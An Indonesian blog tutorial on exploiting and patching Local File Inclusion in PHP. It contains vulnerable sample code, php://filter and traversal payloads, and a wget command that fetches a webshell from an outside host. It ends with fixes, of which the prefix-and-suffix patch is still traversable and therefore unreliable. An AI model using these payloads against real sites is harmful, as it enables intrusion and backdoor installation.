Hi 👋, halaman kontak kami bukan hanya pajangan :) Pastikan anda tidak menghubungi pihak palsu yg mengatasnamakan kami !!

Table of Content

Advertisement

 

Exploitasi, Bypass, & Patch Celah Local File Inclusion pada Server Linux dan Windows

local file inclusion php local file inclusion lfi local file inclusion windows tutorial local file inclusion php local file inclusion cheat sheet

Apa itu LFI

Local File Inclusion adalah celah keamanan berbahaya / critical yang memungkinkan penyerang untuk membaca atau melihat file-file yang ada di server termasuk file-file sensitif. LFI biasanya muncul karena kesalahan pada coding, salah satunya disebabkan oleh sebuah fungsi seperti fungsi include yang tidak divalidasi dan difilter dengan baik dan benar.

Fungsi include adalah fungsi dari bahasa pemrograman PHP yang berfungsi untuk memasukkan atau mengaitkan sesuatu seperti file ke dalam sebuah halaman di website. Ketika fungsi ini tidak divalidasi dengan benar, serangan LFI bisa dijalankan pada halaman-halaman tertentu yang ada di server linux maupun server windows.

Salah satu dampak dari serangan LFI adalah terbacanya file-file sensitif yang ada di server. contohnya file-file sensitif pada server linux seperti "etc/passwd" & "etc/shadow", sementara pada windows server seperti "Windows/System32/drivers/etc/hosts", "Users[USERNAME]/Desktop/desktop.ini", dan "Windows/system32/debug/NetSetup.log".

Bahaya dari LFI

  • terbacanya file-file sensitif yang ada di server
  • bocornya username, password yang dienkripsi, user id, group id, dll
  • attacker/ hacker dapat memasukkan backdoor
  • sampai melakukan remote code execution

Sekenario & Tehnik ekploitasi

misal, saya memiliki 5 file yang berjalan pada localhost yaitu, index.php, page1.php, page2.php, page3.php, dan sebagai file rahasia kita config.php .

1. sama sekali tanpa filter

simpel saja, LFI terjadi karena include tanpa filter yang bisa dilihat dari code index.php seperti dibawah.

<body>
    <h1>Welcome to My Website</h1>    
    <a href="index.php">Home</a> |
    <a href="index.php?page=page1.php">Page 1</a> |
    <a href="index.php?page=page2.php">Page 2</a> |
    <a href="index.php?page=page3.php">Page 3</a>    
    <hr/>    
    <?php 

    if (isset($_GET['page'])) 
    {   
        include $_GET['page']; 
    } 
    else 
    {
        echo "<p>This is the front page.</p>";
    }
    
    ?>    
  </body>


sehingga apapun isi $_GET['page'] akan langsung di include, jadi misal pada url tertera http://localhost/index.php?=page1.php bisa kita bisa megubah parameterya ke arah file pada local direktori web server tersebut. misal kita ingin melihat source code dari file config.php, kita bisa memanfaatkan php wrapper yaitu php://filter yang selengkapnya dapat dilihat disini. menjadi  seperti ini http://localhost/index.php?=php://filter/convert.base64-encode/resource=config.php.

mengapa tidak langsung http://localhost/index.php?=config.php?

sebab nanti dia tidak akan menampilkan source codenya sama sekali alias kosong karena seperti yang kita ketahui dalam config.php cuma mendefine variabel saja tidak ada echo, print, maupun tag html, makannya harus diencode ke b64 dulu.

dan hasilnya bisa dideskripsikan ke b64 decoder online maupun dari terminal kamu seperti ini. dari sini bisa dilihat dan GOTCHA, file config.php dapat kita lihat.

Oh iya, tambahan, bila kebeulan pada file php.ini di server mengizinkan url include atau allow_url_include = On , maka kita dapat menjalankan kode php pada server dengan php://input menggunakan bantuan hackbar. pada url http://localhost/LFI/index.php=php://input pada post data dengan script php. jika tereksekusi dengan benar maka kamu bisa upload backdoor misal pada post data kamu eksekusi dengan kode

<?php
echo exec("wget https://website.com/shell.txt -O bekdor.php");
?>

kita bisa summon php webshell dengan nama bekdor.php.


2. memaksa penambahan .php pada akhir parameter

nah sekarang bagaimana bila ada kasus code sepeti dibawah, dan bagaimana cara eksploitasinya?

<body>
    <h1>Welcome to My Website</h1>    
    <a href="index.php">Home</a> |
    <a href="index.php?page=page1">Page 1</a> |
    <a href="index.php?page=page2">Page 2</a> |
    <a href="index.php?page=page3">Page 3</a>    
    <hr/>    
    <?php 

    if (isset($_GET['page'])) 
    {   
        include $_GET['page'] . ".php"; 
    } 
    else 
    {
        echo "<p>This is the front page.</p>";
    }
    
    ?>    
  </body>


bisa dilihat apapun isi $_GET['page'] akan otomats ditambah .php pada akhir parameternya. bagaimana cara eksploitasinya?, simpel saja mirip dengan cara pertama namun tinggal menghapus .php nya menjadi seperti ini http://localhost/index.php?=php://filter/convert.base64-encode/resource=config


3. yang di include harus dalam suatu folder

sekarang kalau cuma seperti ini, dimana semua yang bisa di include harus masuk dalam folder page bagaimana cara ekploitasinya?

<body>
    <h1>Welcome to My Website</h1>    
    <a href="index.php">Home</a> |
    <a href="index.php?page=page1.php">Page 1</a> |
    <a href="index.php?page=page2.php">Page 2</a> |
    <a href="index.php?page=page3.php">Page 3</a>    
    <hr/>    
    <?php 

    if (isset($_GET['page'])) 
    {   
        include "page/" . $_GET['page']; 
    } 
    else 
    {
        echo "<p>This is the front page.</p>";
    }
    
    ?>    
  </body>


kita bisa menggunakan trik direktori traversal, yaitu denga menggunakan ../../  sebanyak mungkin seperlunya, jadi kita keluar folder page naik terus sampai ke C:/ atau direktori root pada linux. contohnya seperti berikut, http://localhost/LFI/index.php?page=../../../../../../../../../../windows/system.ini dan tebaca.

cara patch bug LFI

cara patchnya lumayan mudah dimana kita bisa menggabungkan filter pada kasus ke 2 dan ke 3 menjadi 1 sepert berikut

<body>
    <h1>Welcome to My Website</h1>    
    <a href="index.php">Home</a> |
    <a href="index.php?page=page1">Page 1</a> |
    <a href="index.php?page=page2">Page 2</a> |
    <a href="index.php?page=page3">Page 3</a>    
    <hr/>    
    <?php 

    if (isset($_GET['page'])) 
    {   
        include "page/" . $_GET['page'] . ".php"; 
    } 
    else 
    {
        echo "<p>This is the front page.</p>";
    }
    
    ?>    
  </body>

dimana hanya bisa meng include yang ada di folder page dan diahiri dengan .php.

atau bisa juga menggunakan whitelist agar lebh aman, dimana kita membuat list halaman apa saja yang di izinkan untuk di include seperti berikut.

<body>
    <h1>Welcome to My Website</h1>
    
    <a href="index.php">Home</a> |
    <a href="index.php?page=page1">Page 1</a> |
    <a href="index.php?page=page2">Page 2</a> |
    <a href="index.php?page=page3">Page 3</a>
    
    <hr/>
    
    <?php 

    $whitelist = array("page1", "page2", "page3");     // halaman apa saja yang boleh di include

    if (isset($_GET['page']))     
    {  
        if ( !in_array($_GET['page'], $whitelist)) {     //kalau parameter page tidak ada di white list 
            die("Invalid Page");     // maka langsung exit dengan pesan Invalid Page
        } else {
            include "page/" . $_GET['page'] . ".php"; 
        }
    } 
    else 
    {
        echo "<p>This is the front page.</p>";
    }
    
    ?>
    
  </body>

sekian tutorialnya kalau kurang manfaat ya cari manfaat lain.

jack of all technologies, master of none.

This Content is Protected by DMCA.com

DMCA.com Protection Status




Post a Comment

Bijaklah dalam berkomentar, jejak digital itu kejam.


image quote pre
X-PLOITECH By OZHAXID